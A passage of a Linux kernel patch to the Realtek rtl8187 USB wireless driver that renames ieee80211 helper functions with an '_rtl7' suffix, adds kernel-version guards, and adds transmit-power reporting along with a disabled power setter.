+extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_txpower/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_93cx6.c 2007-02-26 03:05:03.241356403 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-02-26 03:05:07.761424588 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_txpower/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.c 2007-02-26 03:05:03.311357459 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-02-26 03:05:07.811425342 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-02-26 03:05:03.371358364 +0100 @@ -129,7 +129,7 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 mode = priv->ieee80211->mode; @@ -153,7 +153,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -280,7 +280,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -396,7 +396,7 @@ #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int GainIdx; // int GainSetting; @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; @@ -489,9 +492,9 @@ void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225z2_SetTXPowerLevel(dev, ch); @@ -509,7 +512,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -581,7 +584,7 @@ #endif void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; @@ -958,7 +961,7 @@ void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->ieee80211->mode == IEEE_A) { diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-02-26 03:05:03.371358364 +0100 @@ -21,6 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 @@ -32,9 +33,9 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -46,7 +47,7 @@ int *parms = (int *)b; int bi = parms[0]; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); @@ -62,7 +63,7 @@ static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; priv->ieee80211->force_associate = (parms[0] > 0); @@ -75,9 +76,9 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } @@ -86,8 +87,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -97,27 +98,83 @@ union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); + + up(&priv->wx_sem); + + return ret; +} + +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: up(&priv->wx_sem); return ret; } +#endif static int r8180_wx_set_rawtx(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); + ret = ieee80211_wx_set_rawtx_rtl7(priv->ieee80211, info, wrqu, extra); up(&priv->wx_sem); @@ -129,7 +186,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; @@ -157,12 +214,12 @@ static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); rtl8187_set_rxconf(dev); @@ -176,7 +233,7 @@ union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -247,7 +304,7 @@ // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { @@ -267,14 +324,14 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -286,13 +343,13 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); @@ -304,13 +361,13 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -322,11 +379,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); @@ -338,11 +395,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); return ret; @@ -352,8 +409,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } @@ -361,7 +418,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -381,7 +438,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,11 +454,11 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); up(&priv->wx_sem); return ret; @@ -413,9 +470,9 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -423,22 +480,22 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } static int r8180_wx_set_enc(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); up(&priv->wx_sem); return ret; @@ -448,7 +505,7 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; @@ -463,7 +520,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; down(&priv->wx_sem); @@ -516,7 +573,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->retry.disabled = 0; /* can't be disabled */ @@ -542,7 +599,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; @@ -555,7 +612,7 @@ union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short err = 0; down(&priv->wx_sem); @@ -624,7 +681,7 @@ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ @@ -666,7 +723,7 @@ #if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-02-26 03:05:03.381358515 +0100 @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -98,6 +99,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -158,11 +163,10 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -174,7 +178,7 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -186,7 +190,7 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -198,7 +202,7 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -211,7 +215,7 @@ u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -223,7 +227,7 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -236,7 +240,7 @@ u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -249,7 +253,7 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -271,7 +275,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,7 +293,7 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; int i,n; @@ -319,7 +328,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -339,7 +348,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -391,7 +400,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -407,13 +416,14 @@ return len; } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -430,7 +440,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,7 +457,7 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dir_dev = create_proc_entry(dev->name, S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); @@ -539,7 +549,7 @@ short check_nic_enought_desc(struct net_device *dev, priority_t priority) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int used = atomic_read((priority == NORM_PRIORITY) ? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -549,7 +559,7 @@ void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +571,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : 